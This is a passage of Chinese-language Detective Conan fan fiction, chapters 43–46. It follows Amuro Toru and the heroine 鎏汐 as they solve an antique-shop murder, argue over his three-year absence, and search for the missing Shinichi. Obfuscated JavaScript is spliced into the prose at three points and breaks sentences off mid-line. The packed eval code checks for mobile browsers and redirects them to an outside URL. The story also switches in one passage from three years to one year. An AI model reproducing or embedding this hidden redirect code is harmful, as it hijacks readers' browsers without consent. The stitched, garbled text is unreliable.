上面只有一行字,笔迹是她熟悉的、利落中带着些许潦草: “对不起。还有,谢谢你还愿意让我对你好。” 没有署名,没有日期。 就像三年前那张不告而别的纸条一样。 鎏汐盯着那行字看了很久,然后慢慢把纸条折好,放回盒子里。 窗外的夜色深沉如墨,远处东京塔的灯光在云层后若隐若现。 而她握着那个温热的盒子,在寂静的房间里,第一次开始怀疑—— 也许,她并没有自己想象的那么恨他。 也许,她只是太想念了。 想念到连恨都变成了某种扭曲的期待。 43.第 43 章 米花町的傍晚总是来得仓促。 鎏汐推开波洛咖啡厅的门时,天边最后一抹残阳正被灰蓝色的暮色吞噬。风铃在她头顶清脆作响。 “辛苦了!”理惠在柜台后对她挥手,“明天见!” “明天见。”鎏汐回以微笑,从员工柜里取出自己的书包。 她换下围裙,穿上外套,动作不紧不慢。余光瞥见安室透正在清点收银台——这是他每天打烊后的固定工作,手指在计算器上飞快跳动,侧脸在暖黄的灯光下专注得近乎严肃。 三天了。 从那个写着“对不起”的纸条开始,已经过去了整整三天。这三天里,安室透的“示好”变本加厉:每天早上提前半小时到店,把她的准备工作全部做完;午餐永远是她喜欢的口味,连摆盘都精致得像餐厅出品;生理期的暖宝宝和热饮成了日常标配,甚至在她不知道的时候,连她员工柜里那双有点开胶的鞋子都被悄悄换成了新的。 他在用行动道歉,用温柔进攻,用无微不至的照顾瓦解她的防备。 而鎏汐发现自己,正在节节败退。 “我好了。”安室透的声音突然在身后响起。 鎏汐转过身,看见他已经换好了便服——灰色夹克,黑色长裤,肩上背着那个熟悉的黑色帆布包。他站在距离她两米的地方,不远不近,像个恪守礼仪的同事。 “嗯。”鎏汐应了一声,推门走出咖啡厅。 安室透跟了上来。和前几天一样,他走在她身后半步,保持着恰到好处的距离。脚步声在安静的街道上重叠,一轻一重,像是某种心照不宣的默契。 暮色渐浓,路灯次第亮起。米花町的老街区在夜晚显得格外宁静,只有偶尔驶过的汽车和远处隐约的电视声响。两人穿过熟悉的街巷,经过那家总是挤满学生的便利店,路过阿笠博士家亮着灯的窗户,再往前就是鎏汐的出租屋。 但今晚,这条路似乎比平时更漫长。 因为沉默。令人窒息的沉默。 鎏汐盯着自己的脚尖,脑子里乱成一团。她该说什么?谢谢你这几天的照顾?还是请你不要再这样了?或者干脆质问他,三年前到底发生了什么,为什么现在才回来? 每一个问题都堵在喉咙里,像一根根细小的刺。 就在她几乎要被这沉默逼疯时,安室透突然停下了脚步。 “鎏汐。”他叫她的名字,声音很轻。 鎏汐也停下来,转身看向他。路灯的光从他头顶倾泻而下,在他脸上投出晦暗的阴影。他看着她,紫灰色的眼睛里有什么东西在翻涌。 “我——” 话没说完,一声尖叫划破了夜晚的宁静。 尖锐、凄厉、充满恐惧的尖叫,从不远处传来。 两人同时转头,看向声音的来源——街角那家古董店。那家店鎏汐路过无数次,老板是个和蔼的老人,总是坐在门口喝茶,看见她会笑眯眯地打招呼。 但现在,店门大敞着,暖黄的灯光从里面泻出来,照亮了门口惊慌失措的几个人影。 “出事了。”安室透的脸色瞬间变了。 几乎是在同一秒,两人同时朝古董店跑去。 跑到店门口时,鎏汐看清了里面的情形——店里一片狼藉,博古架倒了一个,瓷器碎片散落满地。几名客人缩在角落,脸色惨白。而柜台后,老板倒在地上,胸口插着一把古董匕首,鲜血正汩汩地往外涌。 “别进来!”一个穿着西装的男人挡在门口,声音颤抖,“已经报警了,警察马上就到!” 安室透没有理会他,直接推开他走进店里。他的动作快得惊人,几乎是瞬间就蹲到了老板身边,手指迅速探向颈动脉。 鎏汐跟了进去。血腥味扑面而来,混合着古董店里特有的檀香和灰尘的味道,形成一种诡异的气味组合。她的胃开始翻腾,但理智强迫她冷静下来。 死了。从出血量和瞳孔扩散程度来看,死亡时间不会超过十分钟。 “谁第一个发现的?”安室透站起身,紫灰色的眼睛锐利地扫过店里的人。 角落里一个年轻女人颤巍巍地举手:“是、是我……我进来想买那个花瓶,就看见老板倒在那里……” “其他人呢?”安室透的声音冷静得近乎冷酷,“案发时都在店里?” “我、我们三个是一起来的。”一个戴眼镜的中年男人指着自己身边的两个同伴,“我们只是看看,什么都没做……” “我也是一个人来的。”另一个穿着风衣的女人说,声音还算镇定,“比这位小姐早到几分钟。” 鎏汐快速扫视着现场。除了倒下的老板,店里一共五个人:发现尸体的年轻女人,三个结伴的中年男女,还有那个独自来的风衣女。每个人脸上都写满了惊恐和不安,但—— 她的目光落在那个风衣女的手上。 女人的右手紧紧攥着一个手提包,指节因为用力而泛白。这不是正常的紧张反应,更像是……在掩饰什么。 “不要破坏现场。”安室透的声音把她的思绪拉回来。他已经拿出了手机,“我已经通知了认识的警官,他们五分钟内到。在这之前,所有人都留在原地,不要碰任何东西。” “你、你是谁啊?”戴眼镜的男人不满地问。 “私家侦探,安室透。”安室透收起手机,目光锐利如刀,“在警方到来之前,我有权维持现场秩序。请大家配合。” 侦探的身份似乎起到了一定的威慑作用。几个人面面相觑,但都没再说话。 鎏汐悄悄退到安室透身边,压低声音:“那个穿风衣的女人,她的手……” “我看到了。”安室透的声音同样低沉,“手提包里有东西。还有,你看柜台。” 鎏汐顺着他的视线看去。柜台后的墙上挂着一排古董钟,其中一个钟的玻璃罩碎了,指针停在七点四十五分——差不多就是尖叫响起的时间。但奇怪的是,其他钟都还在正常走动。 “那个钟是被打碎的。”安室透说,“可能是搏斗时撞到的。但凶手为什么要和老板搏斗?如果是抢劫,直接捅刀逃跑就行。除非……” “除非凶手的目标不是钱。”鎏汐接上他的话,“而是别的什么东西。” 安室透看了她一眼,眼神里有赞赏,也有更深的东西。但鎏汐没时间细想,因为警笛声已经由远及近。 两分钟后,佐藤美和子和高木涉带着鉴识课人员冲进了店里。 “又是你们?”佐藤看见安室透和鎏汐,愣了一下,“安室君,鎏汐同学,你们怎么……” “刚好路过。”安室透简洁地解释,“听到尖叫声就进来了。死者是古董店老板,死亡时间大约十分钟前,凶器是那把古董匕首。现场有五位可能的目击者。” 佐藤点点头,迅速进入工作状态:“高木,封锁现场。鉴识课,拍照取证。安室君,麻烦你协助询问目击者。” “明白。” 接下来的半小时,古董店里忙成一团。鉴识课人员拍照、取证、测量,高木挨个记录目击者的身份信息,而安室透和佐藤则开始询问细节。 鎏汐作为“无关人员”,本应该被请到店外等候。但安室透不知用了什么理由,让佐藤同意她留在店里“协助”——大概是因为她之前几次案件中的“敏锐观察”给佐藤留下了印象。 她站在角落,安静地看着。安室透询问时的样子她见过很多次——冷静、犀利、问题直指核心,但语气又不会过于咄咄逼人。他记得住每个人陈述中的细节,能瞬间发现矛盾点,逻辑清晰得像一台精密仪器。 三年前,她曾无数次这样看着他工作,心里满是骄傲和倾慕。 现在,那种感觉又回来了,只是掺杂了太多复杂的东西。 “所以说,你们三位是一起来的?”安室透正在询问那三个中年男女,“目的是?” “我们想买那个青瓷花瓶。”戴眼镜的男人指了指倒在博古架旁的一个花瓶,“老板开价太高,我们在讨价还价……” “讨价还价期间,你们有谁离开过吗?” 三人对视一眼,其中一个女人小声说:“我……我去了一趟洗手间,大概五分钟。” “具体时间?” “大概是七点四十左右吧……” 安室透看向那个风衣女:“您呢?您说您比发现尸体的女士早到几分钟?” “是的。”风衣女的声音依然镇定,“我大概七点三十五进来的,想看看有没有合适的茶具。老板在接待那三位客人,我就自己逛了逛。” “逛了哪些区域?” “主要是在瓷器区。”女人指了指店里的左侧,“然后听到尖叫声,我就跑过来了。” “期间有看见什么异常吗?” “没有。” 安室透点了点头,转向那个年轻女人——第一个发现尸体的人。女孩已经哭得梨花带雨,说话断断续续的。 “我、我七点四十五进来的……想买那个花瓶当礼物……一进来就看见老板倒在那里……我就、就尖叫了……” “你进来时,店里还有其他人吗?” 女孩摇摇头:“没、没有……就我一个人……” 询问暂时告一段落。佐藤把安室透拉到一边,低声讨论着什么。鎏汐站在原地,脑子里飞快地整理着信息。 时间线:七点三十五,风衣女进店;七点四十,中年女人去洗手间;七点四十五,年轻女人进店发现尸体。 死亡时间在七点四十五左右,那么凶手行凶的时间应该在七点四十到四十五之间。这段时间里,中年女人在洗手间,年轻女人还没进店,风衣女和另外两个中年男人都有嫌疑。 但问题在于—— “安室君。”鉴识课的一个人员突然开口,“这把匕首上有指纹,但很模糊,像是戴着手套握过的。还有,我们在柜台下面发现了这个。” 他递过来一个小巧的绒布袋子。安室透接过,打开,里面是一枚精致的翡翠戒指。 “这是……”佐藤凑过来看。 “老板的东西。”安室透说,“我上周来店里时见过,他戴在左手小指上。但现在不见了。” “所以是抢劫杀人?”高木问。 “不一定。”安室透把戒指递给鉴识人员,“如果是抢劫,为什么只拿走戒指,店里的现金和其他贵重物品都没动?而且……” 他顿了顿,看向鎏汐:“鎏汐桑,你有什么看法?” 突然被点名,鎏汐愣了一下。店里所有人的目光都集中到她身上,包括佐藤和高木探究的眼神。 她深吸一口气,强迫自己冷静下来。 “那个钟。”她指了指墙上碎了的古董钟,“如果凶手是和老板搏斗时撞碎的,那现场应该有搏斗的痕迹。但除了倒下的博古架,其他地方都很整齐。而且……” 她走到柜台边,指向地面:“血迹的喷溅方向很奇怪。如果凶手是从正面捅刀,血迹应该向前喷溅。但这些血迹大多向后,溅在了柜台上。” 安室透的眼睛亮了一下:“继续说。” “所以凶手可能不是从正面攻击的。”鎏汐说,“而是从侧面,或者……从背后。” 话音落下,店里一片寂静。 佐藤和高木交换了一个眼神,鉴识课人员开始重新检查血迹。而安室透看着鎏汐,眼神里的赞赏已经毫不掩饰。 “还有那个花瓶。”鎏汐继续说,指向博古架旁倒地的青瓷花瓶,“如果博古架是被撞倒的,花瓶应该摔碎才对。但这个花瓶完好无损,只是倒在地上——更像是被人轻轻放倒的。” “所以博古架不是搏斗时撞倒的。”安室透接上她的话,“而是凶手故意推倒的,为了制造混乱,或者……掩盖什么。” 他走到博古架旁,蹲下身仔细观察。几分钟后,他站起身,手里拿着一个极小的碎片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054734|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是什么?”佐藤问。 “陶瓷碎片。”安室透说,“但不是这个花瓶的。颜色和质地都不一样。” 他把碎片递给鉴识人员,然后看向那五个目击者:“在你们进店时,有没有注意到店里有什么特别的东西?比如,另一个陶瓷制品?” 几个人面面相觑,都摇了摇头。 但鎏汐注意到,那个风衣女的右手又收紧了一些。 “女士。”安室透突然转向风衣女,语气依然礼貌,但眼神锐利,“可以看看您的手提包吗?” 风衣女的脸色瞬间变了:“为、为什么?” “只是例行检查。”安室透说,“如果您配合的话。” “我、我拒绝!”女人的声音开始颤抖,“你没有权利搜查我的私人物品!” “那么我换个问题。”安室透的声音冷了下来,“您刚才说,您在瓷器区逛了逛。但瓷器区在店里的左侧,而血迹主要喷溅在柜台右侧。如果您一直在左侧,衣服上不应该沾到血迹才对。” 所有人的目光都集中到风衣女的外套上——在右侧衣摆处,确实有一小片暗红色的痕迹,在米色的风衣上格外显眼。 女人的脸“唰”地白了。 “那、那是我不小心蹭到的……” “是吗?”安室透上前一步,“可以请您把外套脱下来,让鉴识人员检查一下吗?如果只是蹭到,血迹应该在表面。但如果是在行凶时溅到的,血迹可能会渗透到布料内层。” 女人的呼吸变得急促。她后退一步,右手猛地伸进手提包—— 但安室透的动作更快。 他几乎是瞬间就扣住了女人的手腕,用力一拧。女人痛呼一声,手提包掉在地上,“哗啦”一声,里面的东西散落出来。 除了钱包、化妆品,还有一个用绒布包裹的物件。 安室透松开女人,弯腰捡起那个包裹。打开,里面是一个精致的陶瓷小壶——壶身上有一道新鲜的裂痕。 “这、这不是店里的东西!”女人尖叫,“这是我自己的!” “是吗?”安室透把壶翻过来,底部刻着一行小字:“昭和五十二年,松本窑制”。 他看向鉴识人员:“查一下店里的货品清单,看看有没有这件东西。” “不用查了。”一直沉默的年轻女人突然开口,声音颤抖,“那个壶……是老板最近收的,他说是孤品,很珍贵……” 风衣女彻底崩溃了。她瘫坐在地上,开始语无伦次地交代:“我、我不是故意的……我只是想买这个壶,但他不肯卖……他说这是非卖品……我们吵了起来,他推我,我就……我就顺手拿起了那把匕首……” 案子破了。 佐藤给女人戴上手铐,高木开始做正式笔录。鉴识人员收集证据,其他人被允许离开。古董店里忙乱的收尾工作持续了将近一个小时。 等一切结束时,已经快晚上十点了。 鎏汐和安室透走出古董店,夜晚的凉风迎面吹来,让她打了个寒颤。身后,警车的红蓝灯光还在闪烁,把两人的影子拉得很长。 “冷吗?”安室透问。 鎏汐摇摇头,但下一秒,一件还带着体温的外套就披在了她肩上。 是安室透的夹克。上面有他特有的气息——雨后青草、极淡的烟草、还有一丝波本威士忌的味道。 “谢谢。”她低声说,没有拒绝。 两人并肩走在回出租屋的路上。这一次,安室透没有走在她身后,而是与她并行。肩膀偶尔会轻轻碰到,又迅速分开。 沉默再次降临,但这次的沉默不再令人窒息。 “你刚才很厉害。”安室透突然开口。 鎏汐愣了一下:“什么?” “在店里。”他说,“观察力,逻辑,冷静度——都比我三年前认识的你厉害多了。” 他的话里有赞赏,但更多的是某种复杂的情绪。鎏汐听不出来那是什么,只觉得胸口发闷。 “人总是会变的。”她说,“三年,足够改变很多事。” 安室透的脚步顿了一下。夜色里,鎏汐看不清他的表情,只能感觉到他周身的气息突然变得沉重。 “是啊。”他低声说,声音轻得像叹息,“三年,确实足够改变很多事。” 又是一段沉默。 快到出租屋时,安室透突然停下脚步。 “鎏汐。”他叫她的名字。 鎏汐转身看向他。路灯的光从侧面打过来,在他脸上投出明暗分明的阴影。他看着她,紫灰色的眼睛里翻涌着她看不懂的情绪。 “刚才在店里,你和我配合得很默契。”他说,“就像……就像三年前一样。” 这句话像一颗石子投入平静的湖面,在鎏汐心里激起层层涟漪。她握着书包带子的手指收紧,指甲陷进掌心。 “所以呢?”她听见自己问,声音有些发紧。 安室透上前一步,缩短了两人之间的距离。近到鎏汐能看清他睫毛的颤动,能闻到他身上更清晰的气息,能感觉到他呼吸的节奏。 “所以我在想……”他的声音低哑,“也许有些东西,并没有改变。” 鎏汐的心脏猛地一跳。 她看着他,看着这个她等了一千多天、怨了三百多天、又忍不住想念了一千多天的男人。看着他眼里的愧疚、温柔、挣扎,还有那种几乎要溢出来的、压抑了三年的感情。 有什么东西在她心里崩塌了。 但她还没来得及开口,安室透却后退了一步,重新拉开了距离。 “抱歉。”他说,声音恢复了平静,“我不该说这些。早点休息吧,明天还要上班。” 说完,他转身离开。脚步很快,像是怕自己会后悔。 鎏汐站在原地,看着他消失在街角的背影,肩上还披着他的外套。 夜风很凉,但外套里的温度却烫得她几乎要落下泪来。 44.第 44 章 鎏汐走在前面,刻意加快脚步,高跟鞋敲击地面的声音在空旷的巷道里格外清晰。安室透跟在她身后三步之遥,既不过分靠近,也不放任距离拉远。两人就这样一前一后地走着,路灯将他们的影子拉得忽长忽短,时而交叠,时而分离。 拐过街角时,鎏汐终于停下脚步。她转过身,月光恰好落在她的侧脸上,那双平日里总是带着明媚笑意的眼睛此刻却蒙着一层薄薄的疏离。 “送到这里就可以了。”她的声音很平静,甚至有些刻意维持的礼貌,“我自己回去。” 安室透看着她,没有离开。他的外套在刚才的案件调查中沾染了些许灰尘,袖口微微卷起,露出线条流畅的小臂。夜风吹过,几缕浅金色的发丝拂过他深邃的眼眸。 “鎏汐。”他开口,声音比平时低沉许多。 她没有回应,只是静静等着。 “对不起。” 这三个字说得很轻,却像一块投入平静湖面的石子,在鎏汐心里激起一圈圈涟漪。她握紧了手中的包带,指甲微微陷入掌心。 “如果道歉有用的话,”她终于开口,声音里带着自己都没察觉到的微颤,“那天早上我醒来的时候,就不会只看到一张冷冰冰的纸条。” 安室透的眼神暗了暗。他向前走了一步,鎏汐下意识地后退,后背抵住了身后的砖墙。 “我知道。”他站定,保持着恰到好处的距离,既不会让她感到压迫,又足够让她看清他眼中的情绪,“我不求你立刻原谅我,鎏汐。但我必须告诉你——我从来没有想过放弃你,一天都没有。” 鎏汐别过脸去,视线落在街角那盏昏黄的路灯上。灯光下,几只飞蛾正不知疲倦地扑打着灯罩。 “那你为什么不告诉我?”她的声音终于泄露出一丝哽咽,“哪怕只是一句‘我要离开一段时间’,哪怕只是一个模糊的理由。你知道我那天早上醒来,发现你不见了的时候,是什么感觉吗?” 安室透的喉结滚动了一下。夜色中,他的轮廓显得格外清晰,也格外疲惫。 “我不能说。”他的声音压得很低,带着一种鎏汐从未听过的苦涩,“有些事,知道得越少越安全。鎏汐,我比任何人都想告诉你一切,但有些时候,沉默才是最好的保护。” 鎏汐终于转过头看他。月光下,她艳丽的面容上此刻没有任何妆容,却依旧美得惊人。只是那双眼睛里的光,比往日黯淡了许多。 “所以你就选择用最残忍的方式?”她问,“一句话都不说,就这样消失?你知道我等了你多久吗?三年,安室透。整整三年,我每天早上醒来都期待能在波洛看到你,每天晚上都希望你能突然出现在我家门口。可你没有。什么都没有。” 她说到这里,声音已经有些控制不住。安室透伸出手,想要触碰她的肩膀,却在半空中停住,最终只是握紧了拳头。 “我每个月都让人给你寄生活费。”他说,语气里带着小心翼翼的试探,“我知道你看到了,对不对?” “是,我看到了。”鎏汐深吸一口气,“那些钱让我知道你还活着,至少还记着我这个人的存在。但这不够,安室透。我要的不是钱,我要的是——” 她忽然停住了。 我要的是什么?是一个解释?一个承诺?还是只是他能站在她面前,像现在这样,用这种充满愧疚却又真挚的眼神看着她? “我要的是不会再被抛下。”鎏汐最终说,声音轻得像叹息,“你可以有你的秘密,你可以有你不能说的理由。但安室透,如果你真的在乎我,就不要再用这种方式伤害我。” 街对面传来便利店关门的声音,卷帘门哗啦啦地落下。夜更深了。 安室透沉默了很久。鎏汐几乎以为他不会回答了,正准备转身离开时,他忽然开口。 “好。” 这个字说得异常清晰,异常坚定。 鎏汐抬眼看他。 “我答应你。”安室透一字一顿地说,每个字都像是在做某种郑重的宣誓,“从今往后,无论发生什么,我都不会再这样突然消失。如果我要离开,一定会告诉你。如果我不能告诉你原因,我也会让你知道——我一定会回来。” 他向前走了一步,这次鎏汐没有后退。 “鎏汐,你可以生我的气,可以暂时不想理我,甚至可以像今天这样故意和我作对。”他的声音温柔下来,带着一种近乎恳求的真诚,“但请不要把我完全推开。给我一个机会,让我用行动弥补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”安室透点头,“明天见。” 45.第 45 章 波洛咖啡厅刚开门不久,阳光透过玻璃窗洒在木质桌面上,空气里弥漫着咖啡豆的焦香和刚出炉面包的甜味。 鎏汐正低头擦拭着柜台,浅金色的头发扎成干净利落的马尾,露出白皙优美的天鹅颈。安室透站在吧台内侧煮咖啡,蒸汽机发出规律的嘶嘶声。过去的几天里,他们的关系就像这东京初夏的天气——偶尔晴朗,偶尔多云,但至少不再下雨了。 铃铛清脆地响起,毛利兰几乎是冲进店里的。 “鎏汐!安室先生!”她的声音带着罕见的慌乱,平日里温柔的面容此刻苍白得吓人,“新一……新一不见了!” 咖啡杯从鎏汐手中滑落,在柜台上滚了一圈,幸好没碎。安室透迅速关掉咖啡机,绕过吧台走到毛利兰面前。 “慢慢说,怎么回事?”他的声音沉稳,带着令人安心的力量。 毛利兰深吸一口气,手指不自觉地绞在一起:“昨天放学后,新一说要和我去多罗碧加游乐园玩,说是庆祝我们……我们交往一百天。”她的脸微微泛红,但很快又被焦虑取代,“我们在游乐园玩到晚上九点多,他说要去买饮料,让我在原地等他……可是我再也没有等到他回来。” “电话呢?”鎏汐轻声问,心里却已经知道了答案。 “打不通,一直是关机状态。”毛利兰的眼眶红了,“我去找了游乐园的工作人员,他们调了监控,看到他往园区北门的方向走了,然后就……就消失了。” 安室透的眼神瞬间变得锐利。鎏汐注意到他左手的手指微微收紧——那是他察觉到危险时的习惯动作。 “监控拍到他和什么人接触过吗?” “有一个穿黑色风衣的男人。”毛利兰努力回忆,“监控画面很模糊,只能看到那人戴着帽子,看不清脸。新一好像和他说了几句话,然后就跟着他走了。” 黑衣组织。 这三个字几乎同时浮现在鎏汐和安室透的脑海里。鎏汐感到一股寒意从脊椎爬上来——时间线终于推进到了这个节点,工藤新一被琴酒灌下APTX4869,变成江户川柯南的夜晚。 “我们去现场看看。”安室透已经取下围裙,动作迅速而干练,“小兰,你先回家等消息,有新情况立刻联系我们。” “我也要去。”毛利兰坚定地说。 “你留在这里等,万一新一回来找你呢?”安室透的语气不容置疑,“我和鎏汐先去调查,有消息第一时间通知你。” 鎏汐几乎是被安室透半拉着手腕带出咖啡厅的。他的手心温热,握得很紧,像是一种无言的承诺——这次,我不会让你一个人面对危险。 多罗碧加游乐园在周末的上午格外热闹,孩子们的笑声和游乐设施的轰鸣声交织在一起,形成一种荒谬的对比。失踪案发生在昨晚,园方虽然配合警方做了初步调查,但游乐园依然正常营业,仿佛什么也没发生过。 “北门。”安室透低声道,拉着鎏汐穿过拥挤的人群。 北门是游乐园较为偏僻的出口,通往一片尚未完全开发的区域。监控显示工藤新一就是从这里离开的。安室透蹲下身,仔细检查着地面——前夜的雨水让泥土变得松软,留下了不少痕迹。 “这里有拖拽的痕迹。”他的声音很轻,但鎏汐听得清清楚楚,“还有……车辙。” 鎏汐的心沉了下去。她知道接下来会发生什么——工藤新一被灌下毒药,身体缩小,挣扎着爬到阿笠博士家门口。但现在,一切才刚刚开始。 “透。”她轻声叫他,这是重逢后她第一次用这个亲密的称呼,“你还记得我们以前处理过的那个药品走私案吗?” 安室透抬头看她,眼神深邃。 “我记得。”他说,“和这个有关?” “我……我在想。”鎏汐斟酌着用词,既不能透露太多,又必须引导他,“如果新一是被某种药物实验组织盯上了,他们可能会把他带到附近的废弃仓库或者实验室之类的地方。毕竟,那种地方才能进行一些……见不得光的操作。” 安室透盯着她看了几秒,那眼神锐利得仿佛能看穿人心。鎏汐强迫自己保持平静,甚至微微偏过头,假装在观察周围的建筑。 “你说得对。”他终于开口,站起身来,“这附近确实有几处废弃的工业区。跟我来。” 他的手依然握着她的手腕,但力道温和了许多。他们穿过一片稀疏的树林,废弃的厂区逐渐出现在视野里。生锈的铁门半开着,墙上涂满了褪色的涂鸦,空气中弥漫着铁锈和潮湿的气味。 “小心。”安室透低声说,将鎏汐护在身后。 他们进入的第一间仓库空空如也,只有几只受惊的老鼠窸窣逃窜。但第二间仓库不同——地面有明显的拖痕,角落里散落着几根用过的试管,空气中残留着一股奇怪的化学药品味道。 安室透蹲下身,戴上随身携带的手套,捡起一支试管仔细查看。试管底部残留着少量白色粉末,在从破窗透进来的阳光下泛着诡异的微光。 “这不是普通的药物。”他的声音紧绷,“我在任务中见过类似的成分。” 话音未落,仓库外突然传来轻微的脚步声。 安室透几乎是瞬间反应过来,一手将鎏汐拉进仓库深处的阴影里,另一只手已经摸向腰间——那里应该藏着他随身携带的配枪。鎏汐屏住呼吸,紧贴着他宽阔的后背,能感受到他身体紧绷的肌肉和快速的心跳。 脚步声在仓库门口停住了。 时间仿佛凝固了。鎏汐能听到自己的心跳声在耳膜里咚咚作响,能闻到安室透身上淡淡的波本威士忌和咖啡混合的味道,能感觉到他温热的气息拂过她的发顶。 然后,脚步声又响了起来——渐行渐远。 安室透没有立刻放松警惕,他维持着保护的姿势,直到脚步声完全消失,又过了整整一分钟,才缓缓吐出一口气。 “我们得离开这里。”他低声道,声音里带着鎏汐从未听过的严肃,“立刻。” “可是新一——” “我知道。”安室透打断她,转身面对她,双手按在她的肩膀上,“但鎏汐,你听着——这里很危险,比你想像的还要危险。刚才那个人很可能就是带走新一的组织成员。如果他们发现我们在调查……” 他没有说完,但鎏汐明白他的意思。 “那我们报警——” “不能报警。”安室透的拒绝斩钉截铁,“普通的警察对付不了这些人。相信我,鎏汐,这件事需要……特殊的处理方式。” 他的眼神复杂,鎏汐在其中看到了挣扎、愧疚,还有一种深沉的无力感。她知道他在想什么——他的卧底身份,他与黑衣组织的关系,他不能透露的秘密。这一切都像一堵无形的墙,横亘在他们之间。 “好。”鎏汐最终说,“我听你的。” 安室透的眼神柔和下来,他伸手轻抚她的脸颊,动作温柔得与刚才的警惕判若两人。 “我们先回去找小兰。”他说,“至少得让她知道,新一可能不是普通的失踪。” 他们离开废弃仓库区时,天色已经开始变暗。晚霞将天空染成橘红色,与破败的工业区形成凄美的对比。安室透始终握着鎏汐的手,不是那种恋人间的亲密牵手,而是一种保护的姿态——他走在前面,让她跟在自己身后,警惕地观察着四周的每一个角落。 回到波洛咖啡厅时,毛利兰果然还在等。她坐在靠窗的位置,面前放着一杯早已凉透的咖啡,眼睛红肿,显然哭过。 “有新一的消息吗?”她急切地站起来。 安室透和鎏汐对视一眼。最后是鎏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“是,我也有秘密。”他承认,声音低沉,“而且我的秘密可能会伤害你。鎏汐,这就是为什么我当初选择离开——不是因为我不在乎你,恰恰相反,是因为我太在乎了。” 鎏汐感到眼眶发热。她别过脸,不想让他看到自己快要落泪的样子。 “那你现在为什么又回来了?” “因为我发现,离开并不能保护你。”安室透伸手,轻轻将她的脸转回来,“这一年里,我无时无刻不在担心你。每次任务间隙,我都会想办法打听你的消息,知道你过得还好,我才能稍微安心。但我明白,真正的保护不是远离,而是留在你身边,尽我所能地让你安全。” 他的拇指轻轻擦过她的眼角,拭去一滴还没来得及落下的泪。 “所以这次,无论发生什么,我都不会再走了。”他承诺,每一个字都说得无比认真,“但鎏汐,我也需要你答应我一件事——如果以后我再因为任务需要暂时离开,或者有什么不能解释的行为,你要相信我。相信我不是要抛下你,相信我有我的理由。” 鎏汐看着他,看着这个让她等了一年、怨了一年、又依然爱着的男人。街灯的光在他身后形成一圈朦胧的光晕,让他看起来像是从某个梦境里走出来的幻影。 “我相信你。”她最终说,声音坚定,“但安室透,你也要相信我——我不是需要被时刻保护在温室里的花朵。我能照顾好自己,也能在你需要的时候,成为你的力量。” 安室透的眼中闪过一丝震动。然后,他笑了——不是那种伪装出来的温和笑容,而是真心的、带着释然和骄傲的笑。 “我知道。”他说,“我一直都知道。” 他低头,额头轻轻抵着她的额头。这个姿势亲密得让鎏汐心跳加速,她能闻到他呼吸里淡淡的咖啡香,能感受到他身体传来的温度。 “今晚我会继续调查新一的案子。”安室透低声说,“但这次,我不会瞒着你。我会告诉你我能说的部分,也会……尽量让你参与进来。因为你说得对,鎏汐——我们应该是并肩作战的伙伴,而不只是保护与被保护的关系。” 46.第 46 章 废弃仓库区的夜晚像一块湿透的黑色绒布,沉重地压在每个人心头。 毛利兰在鎏汐和安室透的反复劝说下,终于同意先回家等待。她离开时的背影单薄得像一张纸,仿佛风一吹就会倒下。鎏汐看着她消失在夜色里,心中涌起一股复杂的情绪——她知道工藤新一还活着,知道他此刻已经变成了江户川柯南,正在阿笠博士家艰难地适应新的身体。但这一切,她一个字也不能说。 “我们也该回去了。”安室透的声音在身后响起,带着一贯的沉稳,“明天我会继续调查,但现在……” 他的话没有说完。远处传来一阵急促的脚步声,伴随着金属碰撞的声响。 安室透几乎是本能地将鎏汐拉到身后,身体紧绷成一张蓄势待发的弓。月光从破败的仓库顶棚缝隙漏下来,在他脸上投下斑驳的光影,那双紫灰色的眼睛在黑暗中锐利得像猎鹰。 脚步声越来越近,然后——停在了隔壁仓库。 两人屏住呼吸。鎏汐能听到自己心跳如擂鼓,能感觉到安室透握着她手腕的力道——不重,但足够牢固,像一道无声的锚。 时间一分一秒地流逝。隔壁仓库传来翻找东西的声响,有人低声说了句什么,用的是某种鎏汐听不懂的语言。然后脚步声再次响起,这一次是朝着远处去了。 直到那些声音完全消失在夜色里,安室透才缓缓吐出一口气。他没有立刻松开鎏汐,而是保持着保护的姿势,又等了整整一分钟。 “是组织的人。”他低声说,声音里带着鎏汐从未听过的凝重,“他们还没完全撤离这片区域。” “组织?”鎏汐试探地问,尽管她早就知道答案。 安室透转头看她,月光下他的表情复杂难辨。有那么一瞬间,鎏汐以为他会说些什么——会透露一点关于他身份的真相,会解释他那些神秘的任务。但他最终只是摇了摇头。 “一个很危险的组织。”他说,避重就轻,“新一的失踪很可能和他们有关。我们得尽快离开这里。” 他们沿着来时的路往回走,脚步轻得像猫。安室透始终走在鎏汐前面半步,一只手虚揽在她身后,另一只手随时准备应对突发状况。鎏汐看着他的背影,看着这个她爱了这么久、等了这么久、也怨了这么久的男人,心中翻涌着三年来积压的所有情绪。 三年。不是一年,是整整三年。 走出仓库区,重新回到有路灯的街道时,两人不约而同地松了口气。街灯的光晕黄而温暖,照亮了路面上细小的尘埃。远处二十四小时便利店的招牌亮着,像黑夜中的一座小小灯塔。 “我送你回家。”安室透说,声音恢复了平时的温和。 鎏汐摇摇头:“今晚……我不想一个人。” 这句话说得很轻,但在寂静的夜晚里清晰得像一声惊雷。安室透的脚步停住了,他转身看向她,月光下他的眼睛里有什么东西在闪烁。 “鎏汐……” 